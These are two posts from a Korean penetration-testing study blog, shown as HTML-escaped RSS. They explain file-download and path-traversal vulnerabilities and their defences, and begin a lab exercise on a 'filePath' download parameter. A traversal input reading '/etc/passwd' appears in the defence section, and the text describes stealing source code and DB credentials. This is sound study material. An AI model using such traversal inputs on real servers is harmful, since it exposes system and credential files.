&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이렇게 저장하고 파일을 다운로드를 받을 때 \&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;fjgFGKxfv148ghjh 경로에서 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Hello.php &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;가져오게 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;되는 것 입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다음은 파일다운로드 대응방안 입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;gt; DB에 파일 업로드 경로를 저장하고 파일 번호1 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;gt; 위험성 있음&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;DB에 파일 업로드 경로를 저장하고 파일 번호를 지정하여&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일 다운로드 시 file.php 이런 식이 아닌 파일 번호를 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;download?file=1 이런&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;식으로 받아 다른 파일을 받을 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;수 없게 만드는 것 입니다. 하지만 위험성이 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;* 위험성 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일 업로드 경로에&amp;nbsp; ../../../../../etc/passwd&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;저장하게 된다면 실제로 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;../../../../../etc/passwd &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;경로에 있는 파일이 다운로드 되는 경우가 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;두번째 위험성은 해당 서버에 SQL Injection이 일어날 경우 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일 업로드 경로를 가져오는 방법이 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이런 위험성 때문에 파일 업로드 했던 방식처럼&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;파일 서버 분리하는 방법이나 DB에 파일을 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;저장하는 방법을 이용해야 되겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;즉 웹 서버에 파일을 저장하고 관리하는 것은 위험하니&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이런 리소스 파일은 따로 관리하는 것이 안전합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;</description>
      <category>정보보안 공부/모의해킹 스터디 9기</category>
      <author>mister jeon</author>
      <guid isPermaLink="true">https://thjkl2004.tistory.com/48</guid>
      <comments>https://thjkl2004.tistory.com/48#entry48comment</comments>
      <pubDate>Tue, 3 Feb 2026 22:17:37 +0900</pubDate>
    </item>
    <item>
      <title>모의해킹 취업반 스터디 9기 15주차 파일 다운로드 취약점</title>
      <link>https://thjkl2004.tistory.com/47</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&amp;lt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;15주차&amp;nbsp; &amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이번 15주차 때는 파일 다운로드 취약점에 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;대해 정리 해보고 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;실습을 진행하겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일 다운로드 취약점은 파일 다운로드 기능의 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이용하여 서버의 홈 디렉터리를 벗어나 임의의 위치에 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;있는 파일을 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;열람하나 (passwd) &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다운 가능한 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;취약점 입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;만약 어떤 서버에서 사용자가 다운로드 기능을 사용 시 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;임의의 파일 EX) /etc/passwd 파일을 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;가져오려고 했을 때 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일을 다운로드 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;하기 전&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;이 사용자가 /etc/passwd를 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;가질 수 있는 사람인지 아닌지&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;검증을 우선 해야한다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;EX) 계정 권한 설정 등&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;만약 이런 설정이 되지 않았을 때는 아무 사용자가 파일을 요청하여&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;가져올 수 있는 위험한 취약점 입니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;임의의 사용자 (공격자)가 다운로드 취약점 뭐할 수 있을까?? &lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;1. &lt;span style=&quot;color: #ee2323;&quot;&gt;소스코드&lt;/span&gt;를 가져올 수 있습니다. 이를 통해 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;DB 계정정보를 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;가&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;져올 수도 있으며 이를 이용해 데이터베이스에 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;있는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;정보도 가져올 수 있습니다. (2차 공격 활용)&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;2. /etc/passwd 열람할 수 있다면 계정 정보 및 어떤 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서비스가 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;설치 되어있는지 알 수 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;지금 부터 실습을 통해 좀 더 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&amp;lt;&lt;span&gt; 실습문제 1&lt;/span&gt;&amp;nbsp;&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHH75m/dJMcadU31iA/RYUnrcmx2vG2uWcRRHl1mk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHH75m/dJMcadU31iA/RYUnrcmx2vG2uWcRRHl1mk/img.png&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;618&quot; data-is-animation=&quot;false&quot; style=&quot;width: 37.2692%; margin-right: 10px;&quot; data-widthpercent=&quot;38.16&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHH75m/dJMcadU31iA/RYUnrcmx2vG2uWcRRHl1mk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHH75m%2FdJMcadU31iA%2FRYUnrcmx2vG2uWcRRHl1mk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1000&quot; height=&quot;618&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nkoZP/dJMcajucQfX/635airbDIHiq7kypeYkUTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nkoZP/dJMcajucQfX/635airbDIHiq7kypeYkUTK/img.png&quot; data-origin-width=&quot;1597&quot; data-origin-height=&quot;1213&quot; data-is-animation=&quot;false&quot; style=&quot;width: 30.3237%; margin-right: 10px;&quot; data-widthpercent=&quot;31.05&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nkoZP/dJMcajucQfX/635airbDIHiq7kypeYkUTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnkoZP%2FdJMcajucQfX%2F635airbDIHiq7kypeYkUTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1597&quot; height=&quot;1213&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJXpDd/dJMcagRQjvp/ZpuJpGp0JAoVrRRdDBJNE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJXpDd/dJMcagRQjvp/ZpuJpGp0JAoVrRRdDBJNE0/img.png&quot; data-origin-width=&quot;1596&quot; data-origin-height=&quot;1222&quot; data-is-animation=&quot;false&quot; style=&quot;width: 30.0815%;&quot; data-widthpercent=&quot;30.79&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJXpDd/dJMcagRQjvp/ZpuJpGp0JAoVrRRdDBJNE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJXpDd%2FdJMcagRQjvp%2FZpuJpGp0JAoVrRRdDBJNE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1596&quot; height=&quot;1222&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Get Flag File 이라는 문제가 있으며 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;flag 파일을 얻어내면 되는 문제입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;test123 계정을 설정하여 접속해봤습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;게시판 부터 하나씩 점검을 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2VWVg/dJMcabwdyV9/Vt7hDgHOOSpPRe2eKbMMfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2VWVg/dJMcabwdyV9/Vt7hDgHOOSpPRe2eKbMMfk/img.png&quot; data-origin-width=&quot;1585&quot; data-origin-height=&quot;1394&quot; data-is-animation=&quot;false&quot; style=&quot;width: 43.5955%; margin-right: 10px;&quot; data-widthpercent=&quot;44.11&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2VWVg/dJMcabwdyV9/Vt7hDgHOOSpPRe2eKbMMfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2VWVg%2FdJMcabwdyV9%2FVt7hDgHOOSpPRe2eKbMMfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1585&quot; height=&quot;1394&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEsamu/dJMcag5nAOI/SzQcHKMB2S5lGDL7P53uKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEsamu/dJMcag5nAOI/SzQcHKMB2S5lGDL7P53uKk/img.png&quot; data-origin-width=&quot;1739&quot; data-origin-height=&quot;1207&quot; data-is-animation=&quot;false&quot; style=&quot;width: 55.2417%;&quot; data-widthpercent=&quot;55.89&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEsamu/dJMcag5nAOI/SzQcHKMB2S5lGDL7P53uKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEsamu%2FdJMcag5nAOI%2FSzQcHKMB2S5lGDL7P53uKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1739&quot; height=&quot;1207&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EEJIz/dJMcabwdyWP/nDsCitrBBV7FWHoa8GXRx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EEJIz/dJMcabwdyWP/nDsCitrBBV7FWHoa8GXRx1/img.png&quot; data-origin-width=&quot;1944&quot; data-origin-height=&quot;694&quot; data-is-animation=&quot;false&quot; style=&quot;width: 40.6597%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;41.14&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EEJIz/dJMcabwdyWP/nDsCitrBBV7FWHoa8GXRx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEEJIz%2FdJMcabwdyWP%2FnDsCitrBBV7FWHoa8GXRx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1944&quot; height=&quot;694&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OzYPT/dJMcacaQYg7/SyFuOU898ZJ7upB34uCVM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OzYPT/dJMcacaQYg7/SyFuOU898ZJ7upB34uCVM0/img.png&quot; data-origin-width=&quot;1503&quot; data-origin-height=&quot;375&quot; data-is-animation=&quot;false&quot; style=&quot;width: 58.1775%; margin-top: 10px;&quot; data-widthpercent=&quot;58.86&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OzYPT/dJMcacaQYg7/SyFuOU898ZJ7upB34uCVM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOzYPT%2FdJMcacaQYg7%2FSyFuOU898ZJ7upB34uCVM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1503&quot; height=&quot;375&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 업로드 및 다운로드 기능에 이상있는지 burp 에서 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;체크 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1769172055508&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;실습 서버/index.php?page=download&amp;amp;filePath=/var/www/html/uploads/2_test.txt&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;일단 다운로드 받는 경로는 이렇게 됩니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;일단 파라미터를 보았을 때 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일이름을 붙여주고 있는데 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서버에서는 download('/uploads/'.$_GET['filePath']) &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이런식으로 구성 되어 있지 않을 까 생각이 듭니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
